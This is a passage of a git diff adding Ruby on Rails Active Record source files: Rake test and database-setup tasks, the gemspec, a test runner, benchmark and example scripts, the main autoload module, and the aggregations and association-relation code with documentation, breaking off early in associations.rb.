+      %w(isolated_test_jdbcmysql isolated_test_jdbcsqlite3 isolated_test_jdbcpostgresql) :
+      %w(isolated_test_mysql2 isolated_test_sqlite3 isolated_test_postgresql)
+    run_without_aborting(*tasks)
+  end
+end
+
+desc "Build MySQL and PostgreSQL test databases"
+namespace :db do
+  task create: ["db:mysql:build", "db:postgresql:build"]
+  task drop: ["db:mysql:drop", "db:postgresql:drop"]
+end
+
+%w( mysql2 postgresql sqlite3 sqlite3_mem db2 oracle jdbcmysql jdbcpostgresql jdbcsqlite3 jdbcderby jdbch2 jdbchsqldb ).each do |adapter|
+  namespace :test do
+    Rake::TestTask.new(adapter => "#{adapter}:env") { |t|
+      adapter_short = adapter == "db2" ? adapter : adapter[/^[a-z0-9]+/]
+      t.libs << "test"
+      t.test_files = (Dir.glob("test/cases/**/*_test.rb").reject {
+        |x| x.include?("/adapters/")
+      } + Dir.glob("test/cases/adapters/#{adapter_short}/**/*_test.rb"))
+
+      t.warning = true
+      t.verbose = true
+      t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+    }
+
+    namespace :isolated do
+      task adapter => "#{adapter}:env" do
+        adapter_short = adapter == "db2" ? adapter : adapter[/^[a-z0-9]+/]
+        puts [adapter, adapter_short].inspect
+        (Dir["test/cases/**/*_test.rb"].reject {
+          |x| x.include?("/adapters/")
+        } + Dir["test/cases/adapters/#{adapter_short}/**/*_test.rb"]).all? do |file|
+          sh(Gem.ruby, "-w" , "-Itest", file)
+        end || raise("Failures")
+      end
+    end
+  end
+
+  namespace adapter do
+    task test: "test_#{adapter}"
+    task isolated_test: "isolated_test_#{adapter}"
+
+    # Set the connection environment for the adapter
+    task(:env) { ENV["ARCONN"] = adapter }
+  end
+
+  # Make sure the adapter test evaluates the env setting task
+  task "test_#{adapter}" => ["#{adapter}:env", "test:#{adapter}"]
+  task "isolated_test_#{adapter}" => ["#{adapter}:env", "test:isolated:#{adapter}"]
+end
+
+namespace :db do
+  namespace :mysql do
+    desc "Build the MySQL test databases"
+    task :build do
+      config = ARTest.config["connections"]["mysql2"]
+      %x( mysql --user=#{config["arunit"]["username"]} --password=#{config["arunit"]["password"]} -e "create DATABASE #{config["arunit"]["database"]} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ")
+      %x( mysql --user=#{config["arunit2"]["username"]} --password=#{config["arunit2"]["password"]} -e "create DATABASE #{config["arunit2"]["database"]} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ")
+    end
+
+    desc "Drop the MySQL test databases"
+    task :drop do
+      config = ARTest.config["connections"]["mysql2"]
+      %x( mysqladmin --user=#{config["arunit"]["username"]} --password=#{config["arunit"]["password"]} -f drop #{config["arunit"]["database"]} )
+      %x( mysqladmin --user=#{config["arunit2"]["username"]} --password=#{config["arunit2"]["password"]} -f drop #{config["arunit2"]["database"]} )
+    end
+
+    desc "Rebuild the MySQL test databases"
+    task rebuild: [:drop, :build]
+  end
+
+  namespace :postgresql do
+    desc "Build the PostgreSQL test databases"
+    task :build do
+      config = ARTest.config["connections"]["postgresql"]
+      %x( createdb -E UTF8 -T template0 #{config["arunit"]["database"]} )
+      %x( createdb -E UTF8 -T template0 #{config["arunit2"]["database"]} )
+    end
+
+    desc "Drop the PostgreSQL test databases"
+    task :drop do
+      config = ARTest.config["connections"]["postgresql"]
+      %x( dropdb #{config["arunit"]["database"]} )
+      %x( dropdb #{config["arunit2"]["database"]} )
+    end
+
+    desc "Rebuild the PostgreSQL test databases"
+    task rebuild: [:drop, :build]
+  end
+end
+
+task build_mysql_databases: "db:mysql:build"
+task drop_mysql_databases: "db:mysql:drop"
+task rebuild_mysql_databases: "db:mysql:rebuild"
+
+task build_postgresql_databases: "db:postgresql:build"
+task drop_postgresql_databases: "db:postgresql:drop"
+task rebuild_postgresql_databases: "db:postgresql:rebuild"
+
+task :lines do
+  load File.expand_path("../tools/line_statistics", __dir__)
+  files = FileList["lib/active_record/**/*.rb"]
+  CodeTools::LineStatistics.new(files).print_loc
+end
diff --git a/activerecord/activerecord.gemspec b/activerecord/activerecord.gemspec
new file mode 100644
index 0000000000..7ad06fe840
--- /dev/null
+++ b/activerecord/activerecord.gemspec
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
+
+Gem::Specification.new do |s|
+  s.platform    = Gem::Platform::RUBY
+  s.name        = "activerecord"
+  s.version     = version
+  s.summary     = "Object-relational mapper framework (part of Rails)."
+  s.description = "Databases on Rails. Build a persistent domain model by mapping database tables to Ruby classes. Strong conventions for associations, validations, aggregations, migrations, and testing come baked-in."
+
+  s.required_ruby_version = ">= 2.2.2"
+
+  s.license = "MIT"
+
+  s.author   = "David Heinemeier Hansson"
+  s.email    = "david@loudthinking.com"
+  s.homepage = "http://rubyonrails.org"
+
+  s.files        = Dir["CHANGELOG.md", "MIT-LICENSE", "README.rdoc", "examples/**/*", "lib/**/*"]
+  s.require_path = "lib"
+
+  s.extra_rdoc_files = %w(README.rdoc)
+  s.rdoc_options.concat ["--main",  "README.rdoc"]
+
+  s.metadata = {
+    "source_code_uri" => "https://github.com/rails/rails/tree/v#{version}/activerecord",
+    "changelog_uri"   => "https://github.com/rails/rails/blob/v#{version}/activerecord/CHANGELOG.md"
+  }
+
+  s.add_dependency "activesupport", version
+  s.add_dependency "activemodel",   version
+
+  s.add_dependency "arel", "9.0.0.alpha"
+end
diff --git a/activerecord/bin/test b/activerecord/bin/test
new file mode 100755
index 0000000000..83c192531e
--- /dev/null
+++ b/activerecord/bin/test
@@ -0,0 +1,20 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+COMPONENT_ROOT = File.expand_path("..", __dir__)
+require_relative "../../tools/test"
+
+module Minitest
+  def self.plugin_active_record_options(opts, options)
+    opts.separator ""
+    opts.separator "Active Record options:"
+    opts.on("-a", "--adapter [ADAPTER]",
+            "Run tests using a specific adapter (sqlite3, sqlite3_mem, mysql2, postgresql)") do |adapter|
+      ENV["ARCONN"] = adapter.strip
+    end
+
+    opts
+  end
+end
+
+Minitest.extensions.unshift "active_record"
diff --git a/activerecord/examples/.gitignore b/activerecord/examples/.gitignore
new file mode 100644
index 0000000000..0dfc1cb7fb
--- /dev/null
+++ b/activerecord/examples/.gitignore
@@ -0,0 +1 @@
+performance.sql
diff --git a/activerecord/examples/performance.rb b/activerecord/examples/performance.rb
new file mode 100644
index 0000000000..1a2c78f39b
--- /dev/null
+++ b/activerecord/examples/performance.rb
@@ -0,0 +1,185 @@
+# frozen_string_literal: true
+
+require "active_record"
+require "benchmark/ips"
+
+TIME    = (ENV["BENCHMARK_TIME"] || 20).to_i
+RECORDS = (ENV["BENCHMARK_RECORDS"] || TIME * 1000).to_i
+
+conn = { adapter: "sqlite3", database: ":memory:" }
+
+ActiveRecord::Base.establish_connection(conn)
+
+class User < ActiveRecord::Base
+  connection.create_table :users, force: true do |t|
+    t.string :name, :email
+    t.timestamps
+  end
+
+  has_many :exhibits
+end
+
+class Exhibit < ActiveRecord::Base
+  connection.create_table :exhibits, force: true do |t|
+    t.belongs_to :user
+    t.string :name
+    t.text :notes
+    t.timestamps
+  end
+
+  belongs_to :user
+
+  def look; attributes end
+  def feel; look; user.name end
+
+  def self.with_name
+    where("name IS NOT NULL")
+  end
+
+  def self.with_notes
+    where("notes IS NOT NULL")
+  end
+
+  def self.look(exhibits) exhibits.each(&:look) end
+  def self.feel(exhibits) exhibits.each(&:feel) end
+end
+
+def progress_bar(int); print "." if (int % 100).zero? ; end
+
+puts "Generating data..."
+
+module ActiveRecord
+  class Faker
+    LOREM = "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse non aliquet diam. Curabitur vel urna metus, quis malesuada elit.
+     Integer consequat tincidunt felis. Etiam non erat dolor. Vivamus imperdiet nibh sit amet diam eleifend id posuere diam malesuada. Mauris at accumsan sem.
+     Donec id lorem neque. Fusce erat lorem, ornare eu congue vitae, malesuada quis neque. Maecenas vel urna a velit pretium fermentum. Donec tortor enim,
+     tempor venenatis egestas a, tempor sed ipsum. Ut arcu justo, faucibus non imperdiet ac, interdum at diam. Pellentesque ipsum enim, venenatis ut iaculis vitae,
+     varius vitae sem. Sed rutrum quam ac elit euismod bibendum. Donec ultricies ultricies magna, at lacinia libero mollis aliquam. Sed ac arcu in tortor elementum
+     tincidunt vel interdum sem. Curabitur eget erat arcu. Praesent eget eros leo. Nam magna enim, sollicitudin vehicula scelerisque in, vulputate ut libero.
+     Praesent varius tincidunt commodo".split
+
+    def self.name
+      LOREM.grep(/^\w*$/).sort_by { rand }.first(2).join " "
+    end
+
+    def self.email
+      LOREM.grep(/^\w*$/).sort_by { rand }.first(2).join("@") + ".com"
+    end
+  end
+end
+
+# pre-compute the insert statements and fake data compilation,
+# so the benchmarks below show the actual runtime for the execute
+# method, minus the setup steps
+
+# Using the same paragraph for all exhibits because it is very slow
+# to generate unique paragraphs for all exhibits.
+notes = ActiveRecord::Faker::LOREM.join " "
+today = Date.today
+
+puts "Inserting #{RECORDS} users and exhibits..."
+RECORDS.times do |record|
+  user = User.create(
+    created_at: today,
+    name: ActiveRecord::Faker.name,
+    email: ActiveRecord::Faker.email
+  )
+
+  Exhibit.create(
+    created_at: today,
+    name: ActiveRecord::Faker.name,
+    user: user,
+    notes: notes
+  )
+  progress_bar(record)
+end
+puts "Done!\n"
+
+Benchmark.ips(TIME) do |x|
+  ar_obj       = Exhibit.find(1)
+  attrs        = { name: "sam" }
+  attrs_first  = { name: "sam" }
+  attrs_second = { name: "tom" }
+  exhibit      = {
+    name: ActiveRecord::Faker.name,
+    notes: notes,
+    created_at: Date.today
+  }
+
+  x.report("Model#id") do
+    ar_obj.id
+  end
+
+  x.report "Model.new (instantiation)" do
+    Exhibit.new
+  end
+
+  x.report "Model.new (setting attributes)" do
+    Exhibit.new(attrs)
+  end
+
+  x.report "Model.first" do
+    Exhibit.first.look
+  end
+
+  x.report "Model.take" do
+    Exhibit.take
+  end
+
+  x.report("Model.all limit(100)") do
+    Exhibit.look Exhibit.limit(100)
+  end
+
+  x.report("Model.all take(100)") do
+    Exhibit.look Exhibit.take(100)
+  end
+
+  x.report "Model.all limit(100) with relationship" do
+    Exhibit.feel Exhibit.limit(100).includes(:user)
+  end
+
+  x.report "Model.all limit(10,000)" do
+    Exhibit.look Exhibit.limit(10000)
+  end
+
+  x.report "Model.named_scope" do
+    Exhibit.limit(10).with_name.with_notes
+  end
+
+  x.report "Model.create" do
+    Exhibit.create(exhibit)
+  end
+
+  x.report "Resource#attributes=" do
+    e = Exhibit.new(attrs_first)
+    e.attributes = attrs_second
+  end
+
+  x.report "Resource#update" do
+    Exhibit.first.update(name: "bob")
+  end
+
+  x.report "Resource#destroy" do
+    Exhibit.first.destroy
+  end
+
+  x.report "Model.transaction" do
+    Exhibit.transaction { Exhibit.new }
+  end
+
+  x.report "Model.find(id)" do
+    User.find(1)
+  end
+
+  x.report "Model.find_by_sql" do
+    Exhibit.find_by_sql("SELECT * FROM exhibits WHERE id = #{(rand * 1000 + 1).to_i}").first
+  end
+
+  x.report "Model.log" do
+    Exhibit.connection.send(:log, "hello", "world") {}
+  end
+
+  x.report "AR.execute(query)" do
+    ActiveRecord::Base.connection.execute("SELECT * FROM exhibits WHERE id = #{(rand * 1000 + 1).to_i}")
+  end
+end
diff --git a/activerecord/examples/simple.rb b/activerecord/examples/simple.rb
new file mode 100644
index 0000000000..280b786d73
--- /dev/null
+++ b/activerecord/examples/simple.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require "active_record"
+
+class Person < ActiveRecord::Base
+  establish_connection adapter: "sqlite3", database: "foobar.db"
+  connection.create_table table_name, force: true do |t|
+    t.string :name
+  end
+end
+
+bob = Person.create!(name: "bob")
+puts Person.all.inspect
+bob.destroy
+puts Person.all.inspect
diff --git a/activerecord/lib/active_record.rb b/activerecord/lib/active_record.rb
new file mode 100644
index 0000000000..0c19fed9e1
--- /dev/null
+++ b/activerecord/lib/active_record.rb
@@ -0,0 +1,183 @@
+# frozen_string_literal: true
+
+#--
+# Copyright (c) 2004-2017 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require "active_support"
+require "active_support/rails"
+require "active_model"
+require "arel"
+
+require_relative "active_record/version"
+require_relative "active_record/attribute_set"
+
+module ActiveRecord
+  extend ActiveSupport::Autoload
+
+  autoload :Attribute
+  autoload :Base
+  autoload :Callbacks
+  autoload :Core
+  autoload :ConnectionHandling
+  autoload :CounterCache
+  autoload :DynamicMatchers
+  autoload :Enum
+  autoload :InternalMetadata
+  autoload :Explain
+  autoload :Inheritance
+  autoload :Integration
+  autoload :Migration
+  autoload :Migrator, "active_record/migration"
+  autoload :ModelSchema
+  autoload :NestedAttributes
+  autoload :NoTouching
+  autoload :TouchLater
+  autoload :Persistence
+  autoload :QueryCache
+  autoload :Querying
+  autoload :CollectionCacheKey
+  autoload :ReadonlyAttributes
+  autoload :RecordInvalid, "active_record/validations"
+  autoload :Reflection
+  autoload :RuntimeRegistry
+  autoload :Sanitization
+  autoload :Schema
+  autoload :SchemaDumper
+  autoload :SchemaMigration
+  autoload :Scoping
+  autoload :Serialization
+  autoload :StatementCache
+  autoload :Store
+  autoload :Suppressor
+  autoload :Timestamp
+  autoload :Transactions
+  autoload :Translation
+  autoload :Validations
+  autoload :SecureToken
+
+  eager_autoload do
+    autoload :ActiveRecordError, "active_record/errors"
+    autoload :ConnectionNotEstablished, "active_record/errors"
+    autoload :ConnectionAdapters, "active_record/connection_adapters/abstract_adapter"
+
+    autoload :Aggregations
+    autoload :Associations
+    autoload :AttributeAssignment
+    autoload :AttributeMethods
+    autoload :AutosaveAssociation
+
+    autoload :LegacyYamlAdapter
+
+    autoload :Relation
+    autoload :AssociationRelation
+    autoload :NullRelation
+
+    autoload_under "relation" do
+      autoload :QueryMethods
+      autoload :FinderMethods
+      autoload :Calculations
+      autoload :PredicateBuilder
+      autoload :SpawnMethods
+      autoload :Batches
+      autoload :Delegation
+    end
+
+    autoload :Result
+    autoload :TableMetadata
+  end
+
+  module Coders
+    autoload :YAMLColumn, "active_record/coders/yaml_column"
+    autoload :JSON, "active_record/coders/json"
+  end
+
+  module AttributeMethods
+    extend ActiveSupport::Autoload
+
+    eager_autoload do
+      autoload :BeforeTypeCast
+      autoload :Dirty
+      autoload :PrimaryKey
+      autoload :Query
+      autoload :Read
+      autoload :TimeZoneConversion
+      autoload :Write
+      autoload :Serialization
+    end
+  end
+
+  module Locking
+    extend ActiveSupport::Autoload
+
+    eager_autoload do
+      autoload :Optimistic
+      autoload :Pessimistic
+    end
+  end
+
+  module ConnectionAdapters
+    extend ActiveSupport::Autoload
+
+    eager_autoload do
+      autoload :AbstractAdapter
+    end
+  end
+
+  module Scoping
+    extend ActiveSupport::Autoload
+
+    eager_autoload do
+      autoload :Named
+      autoload :Default
+    end
+  end
+
+  module Tasks
+    extend ActiveSupport::Autoload
+
+    autoload :DatabaseTasks
+    autoload :SQLiteDatabaseTasks, "active_record/tasks/sqlite_database_tasks"
+    autoload :MySQLDatabaseTasks,  "active_record/tasks/mysql_database_tasks"
+    autoload :PostgreSQLDatabaseTasks,
+      "active_record/tasks/postgresql_database_tasks"
+  end
+
+  autoload :TestFixtures, "active_record/fixtures"
+
+  def self.eager_load!
+    super
+    ActiveRecord::Locking.eager_load!
+    ActiveRecord::Scoping.eager_load!
+    ActiveRecord::Associations.eager_load!
+    ActiveRecord::AttributeMethods.eager_load!
+    ActiveRecord::ConnectionAdapters.eager_load!
+  end
+end
+
+ActiveSupport.on_load(:active_record) do
+  Arel::Table.engine = self
+end
+
+ActiveSupport.on_load(:i18n) do
+  I18n.load_path << File.expand_path("active_record/locale/en.yml", __dir__)
+end
diff --git a/activerecord/lib/active_record/aggregations.rb b/activerecord/lib/active_record/aggregations.rb
new file mode 100644
index 0000000000..e5e89734d2
--- /dev/null
+++ b/activerecord/lib/active_record/aggregations.rb
@@ -0,0 +1,284 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # See ActiveRecord::Aggregations::ClassMethods for documentation
+  module Aggregations
+    extend ActiveSupport::Concern
+
+    def initialize_dup(*) # :nodoc:
+      @aggregation_cache = {}
+      super
+    end
+
+    def reload(*) # :nodoc:
+      clear_aggregation_cache
+      super
+    end
+
+    private
+
+      def clear_aggregation_cache
+        @aggregation_cache.clear if persisted?
+      end
+
+      def init_internals
+        @aggregation_cache = {}
+        super
+      end
+
+      # Active Record implements aggregation through a macro-like class method called #composed_of
+      # for representing attributes as value objects. It expresses relationships like "Account [is]
+      # composed of Money [among other things]" or "Person [is] composed of [an] address". Each call
+      # to the macro adds a description of how the value objects are created from the attributes of
+      # the entity object (when the entity is initialized either as a new object or from finding an
+      # existing object) and how it can be turned back into attributes (when the entity is saved to
+      # the database).
+      #
+      #   class Customer < ActiveRecord::Base
+      #     composed_of :balance, class_name: "Money", mapping: %w(amount currency)
+      #     composed_of :address, mapping: [ %w(address_street street), %w(address_city city) ]
+      #   end
+      #
+      # The customer class now has the following methods to manipulate the value objects:
+      # * <tt>Customer#balance, Customer#balance=(money)</tt>
+      # * <tt>Customer#address, Customer#address=(address)</tt>
+      #
+      # These methods will operate with value objects like the ones described below:
+      #
+      #  class Money
+      #    include Comparable
+      #    attr_reader :amount, :currency
+      #    EXCHANGE_RATES = { "USD_TO_DKK" => 6 }
+      #
+      #    def initialize(amount, currency = "USD")
+      #      @amount, @currency = amount, currency
+      #    end
+      #
+      #    def exchange_to(other_currency)
+      #      exchanged_amount = (amount * EXCHANGE_RATES["#{currency}_TO_#{other_currency}"]).floor
+      #      Money.new(exchanged_amount, other_currency)
+      #    end
+      #
+      #    def ==(other_money)
+      #      amount == other_money.amount && currency == other_money.currency
+      #    end
+      #
+      #    def <=>(other_money)
+      #      if currency == other_money.currency
+      #        amount <=> other_money.amount
+      #      else
+      #        amount <=> other_money.exchange_to(currency).amount
+      #      end
+      #    end
+      #  end
+      #
+      #  class Address
+      #    attr_reader :street, :city
+      #    def initialize(street, city)
+      #      @street, @city = street, city
+      #    end
+      #
+      #    def close_to?(other_address)
+      #      city == other_address.city
+      #    end
+      #
+      #    def ==(other_address)
+      #      city == other_address.city && street == other_address.street
+      #    end
+      #  end
+      #
+      # Now it's possible to access attributes from the database through the value objects instead. If
+      # you choose to name the composition the same as the attribute's name, it will be the only way to
+      # access that attribute. That's the case with our +balance+ attribute. You interact with the value
+      # objects just like you would with any other attribute:
+      #
+      #   customer.balance = Money.new(20)     # sets the Money value object and the attribute
+      #   customer.balance                     # => Money value object
+      #   customer.balance.exchange_to("DKK")  # => Money.new(120, "DKK")
+      #   customer.balance > Money.new(10)     # => true
+      #   customer.balance == Money.new(20)    # => true
+      #   customer.balance < Money.new(5)      # => false
+      #
+      # Value objects can also be composed of multiple attributes, such as the case of Address. The order
+      # of the mappings will determine the order of the parameters.
+      #
+      #   customer.address_street = "Hyancintvej"
+      #   customer.address_city   = "Copenhagen"
+      #   customer.address        # => Address.new("Hyancintvej", "Copenhagen")
+      #
+      #   customer.address = Address.new("May Street", "Chicago")
+      #   customer.address_street # => "May Street"
+      #   customer.address_city   # => "Chicago"
+      #
+      # == Writing value objects
+      #
+      # Value objects are immutable and interchangeable objects that represent a given value, such as
+      # a Money object representing $5. Two Money objects both representing $5 should be equal (through
+      # methods such as <tt>==</tt> and <tt><=></tt> from Comparable if ranking makes sense). This is
+      # unlike entity objects where equality is determined by identity. An entity class such as Customer can
+      # easily have two different objects that both have an address on Hyancintvej. Entity identity is
+      # determined by object or relational unique identifiers (such as primary keys). Normal
+      # ActiveRecord::Base classes are entity objects.
+      #
+      # It's also important to treat the value objects as immutable. Don't allow the Money object to have
+      # its amount changed after creation. Create a new Money object with the new value instead. The
+      # <tt>Money#exchange_to</tt> method is an example of this. It returns a new value object instead of changing
+      # its own values. Active Record won't persist value objects that have been changed through means
+      # other than the writer method.
+      #
+      # The immutable requirement is enforced by Active Record by freezing any object assigned as a value
+      # object. Attempting to change it afterwards will result in a +RuntimeError+.
+      #
+      # Read more about value objects on http://c2.com/cgi/wiki?ValueObject and on the dangers of not
+      # keeping value objects immutable on http://c2.com/cgi/wiki?ValueObjectsShouldBeImmutable
+      #
+      # == Custom constructors and converters
+      #
+      # By default value objects are initialized by calling the <tt>new</tt> constructor of the value
+      # class passing each of the mapped attributes, in the order specified by the <tt>:mapping</tt>
+      # option, as arguments. If the value class doesn't support this convention then #composed_of allows
+      # a custom constructor to be specified.
+      #
+      # When a new value is assigned to the value object, the default assumption is that the new value
+      # is an instance of the value class. Specifying a custom converter allows the new value to be automatically
+      # converted to an instance of value class if necessary.
+      #
+      # For example, the +NetworkResource+ model has +network_address+ and +cidr_range+ attributes that should be
+      # aggregated using the +NetAddr::CIDR+ value class (http://www.rubydoc.info/gems/netaddr/1.5.0/NetAddr/CIDR).
+      # The constructor for the value class is called +create+ and it expects a CIDR address string as a parameter.
+      # New values can be assigned to the value object using either another +NetAddr::CIDR+ object, a string
+      # or an array. The <tt>:constructor</tt> and <tt>:converter</tt> options can be used to meet
+      # these requirements:
+      #
+      #   class NetworkResource < ActiveRecord::Base
+      #     composed_of :cidr,
+      #                 class_name: 'NetAddr::CIDR',
+      #                 mapping: [ %w(network_address network), %w(cidr_range bits) ],
+      #                 allow_nil: true,
+      #                 constructor: Proc.new { |network_address, cidr_range| NetAddr::CIDR.create("#{network_address}/#{cidr_range}") },
+      #                 converter: Proc.new { |value| NetAddr::CIDR.create(value.is_a?(Array) ? value.join('/') : value) }
+      #   end
+      #
+      #   # This calls the :constructor
+      #   network_resource = NetworkResource.new(network_address: '192.168.0.1', cidr_range: 24)
+      #
+      #   # These assignments will both use the :converter
+      #   network_resource.cidr = [ '192.168.2.1', 8 ]
+      #   network_resource.cidr = '192.168.0.1/24'
+      #
+      #   # This assignment won't use the :converter as the value is already an instance of the value class
+      #   network_resource.cidr = NetAddr::CIDR.create('192.168.2.1/8')
+      #
+      #   # Saving and then reloading will use the :constructor on reload
+      #   network_resource.save
+      #   network_resource.reload
+      #
+      # == Finding records by a value object
+      #
+      # Once a #composed_of relationship is specified for a model, records can be loaded from the database
+      # by specifying an instance of the value object in the conditions hash. The following example
+      # finds all customers with +balance_amount+ equal to 20 and +balance_currency+ equal to "USD":
+      #
+      #   Customer.where(balance: Money.new(20, "USD"))
+      #
+      module ClassMethods
+        # Adds reader and writer methods for manipulating a value object:
+        # <tt>composed_of :address</tt> adds <tt>address</tt> and <tt>address=(new_address)</tt> methods.
+        #
+        # Options are:
+        # * <tt>:class_name</tt> - Specifies the class name of the association. Use it only if that name
+        #   can't be inferred from the part id. So <tt>composed_of :address</tt> will by default be linked
+        #   to the Address class, but if the real class name is +CompanyAddress+, you'll have to specify it
+        #   with this option.
+        # * <tt>:mapping</tt> - Specifies the mapping of entity attributes to attributes of the value
+        #   object. Each mapping is represented as an array where the first item is the name of the
+        #   entity attribute and the second item is the name of the attribute in the value object. The
+        #   order in which mappings are defined determines the order in which attributes are sent to the
+        #   value class constructor.
+        # * <tt>:allow_nil</tt> - Specifies that the value object will not be instantiated when all mapped
+        #   attributes are +nil+. Setting the value object to +nil+ has the effect of writing +nil+ to all
+        #   mapped attributes.
+        #   This defaults to +false+.
+        # * <tt>:constructor</tt> - A symbol specifying the name of the constructor method or a Proc that
+        #   is called to initialize the value object. The constructor is passed all of the mapped attributes,
+        #   in the order that they are defined in the <tt>:mapping option</tt>, as arguments and uses them
+        #   to instantiate a <tt>:class_name</tt> object.
+        #   The default is <tt>:new</tt>.
+        # * <tt>:converter</tt> - A symbol specifying the name of a class method of <tt>:class_name</tt>
+        #   or a Proc that is called when a new value is assigned to the value object. The converter is
+        #   passed the single value that is used in the assignment and is only called if the new value is
+        #   not an instance of <tt>:class_name</tt>. If <tt>:allow_nil</tt> is set to true, the converter
+        #   can return +nil+ to skip the assignment.
+        #
+        # Option examples:
+        #   composed_of :temperature, mapping: %w(reading celsius)
+        #   composed_of :balance, class_name: "Money", mapping: %w(balance amount),
+        #                         converter: Proc.new { |balance| balance.to_money }
+        #   composed_of :address, mapping: [ %w(address_street street), %w(address_city city) ]
+        #   composed_of :gps_location
+        #   composed_of :gps_location, allow_nil: true
+        #   composed_of :ip_address,
+        #               class_name: 'IPAddr',
+        #               mapping: %w(ip to_i),
+        #               constructor: Proc.new { |ip| IPAddr.new(ip, Socket::AF_INET) },
+        #               converter: Proc.new { |ip| ip.is_a?(Integer) ? IPAddr.new(ip, Socket::AF_INET) : IPAddr.new(ip.to_s) }
+        #
+        def composed_of(part_id, options = {})
+          options.assert_valid_keys(:class_name, :mapping, :allow_nil, :constructor, :converter)
+
+          name        = part_id.id2name
+          class_name  = options[:class_name]  || name.camelize
+          mapping     = options[:mapping]     || [ name, name ]
+          mapping     = [ mapping ] unless mapping.first.is_a?(Array)
+          allow_nil   = options[:allow_nil]   || false
+          constructor = options[:constructor] || :new
+          converter   = options[:converter]
+
+          reader_method(name, class_name, mapping, allow_nil, constructor)
+          writer_method(name, class_name, mapping, allow_nil, converter)
+
+          reflection = ActiveRecord::Reflection.create(:composed_of, part_id, nil, options, self)
+          Reflection.add_aggregate_reflection self, part_id, reflection
+        end
+
+        private
+          def reader_method(name, class_name, mapping, allow_nil, constructor)
+            define_method(name) do
+              if @aggregation_cache[name].nil? && (!allow_nil || mapping.any? { |key, _| !_read_attribute(key).nil? })
+                attrs = mapping.collect { |key, _| _read_attribute(key) }
+                object = constructor.respond_to?(:call) ?
+                  constructor.call(*attrs) :
+                  class_name.constantize.send(constructor, *attrs)
+                @aggregation_cache[name] = object
+              end
+              @aggregation_cache[name]
+            end
+          end
+
+          def writer_method(name, class_name, mapping, allow_nil, converter)
+            define_method("#{name}=") do |part|
+              klass = class_name.constantize
+
+              unless part.is_a?(klass) || converter.nil? || part.nil?
+                part = converter.respond_to?(:call) ? converter.call(part) : klass.send(converter, part)
+              end
+
+              hash_from_multiparameter_assignment = part.is_a?(Hash) &&
+                part.each_key.all? { |k| k.is_a?(Integer) }
+              if hash_from_multiparameter_assignment
+                raise ArgumentError unless part.size == part.each_key.max
+                part = klass.new(*part.sort.map(&:last))
+              end
+
+              if part.nil? && allow_nil
+                mapping.each { |key, _| self[key] = nil }
+                @aggregation_cache[name] = nil
+              else
+                mapping.each { |key, value| self[key] = part.send(value) }
+                @aggregation_cache[name] = part.freeze
+              end
+            end
+          end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/association_relation.rb b/activerecord/lib/active_record/association_relation.rb
new file mode 100644
index 0000000000..2b0b2864bc
--- /dev/null
+++ b/activerecord/lib/active_record/association_relation.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class AssociationRelation < Relation
+    def initialize(klass, table, predicate_builder, association)
+      super(klass, table, predicate_builder)
+      @association = association
+    end
+
+    def proxy_association
+      @association
+    end
+
+    def ==(other)
+      other == records
+    end
+
+    def build(*args, &block)
+      scoping { @association.build(*args, &block) }
+    end
+    alias new build
+
+    def create(*args, &block)
+      scoping { @association.create(*args, &block) }
+    end
+
+    def create!(*args, &block)
+      scoping { @association.create!(*args, &block) }
+    end
+
+    private
+
+      def exec_queries
+        super do |r|
+          @association.set_inverse_instance r
+          yield r if block_given?
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/associations.rb b/activerecord/lib/active_record/associations.rb
new file mode 100644
index 0000000000..840f71bef2
--- /dev/null
+++ b/activerecord/lib/active_record/associations.rb
@@ -0,0 +1,1869 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/enumerable"
+require "active_support/core_ext/string/conversions"
+require "active_support/core_ext/module/remove_method"
+require_relative "errors"
+
+module ActiveRecord
+  class AssociationNotFoundError < ConfigurationError #:nodoc:
+    def initialize(record = nil, association_name = nil)
+      if record && association_name
+        super("Association named '#{association_name}' was not found on #{record.class.name}; perhaps you misspelled it?")
+      else
+        super("Association was not found.")
+      end
+    end
+  end
+
+  class InverseOfAssociationNotFoundError < ActiveRecordError #:nodoc:
+    def initialize(reflection = nil, associated_class = nil)
+      if reflection
+        super("Could not find the inverse association for #{reflection.name} (#{reflection.options[:inverse_of].inspect} in #{associated_class.nil? ? reflection.class_name : associated_class.name})")
+      else
+        super("Could not find the inverse association.")
+      end
+    end
+  end
+
+  class HasManyThroughAssociationNotFoundError < ActiveRecordError #:nodoc:
+    def initialize(owner_class_name = nil, reflection = nil)
+      if owner_class_name && reflection
+        super("Could not find the association #{reflection.options[:through].inspect} in model #{owner_class_name}")
+      else
+        super("Could not find the association.")
+      end
+    end
+  end
+
+  class HasManyThroughAssociationPolymorphicSourceError < ActiveRecordError #:nodoc:
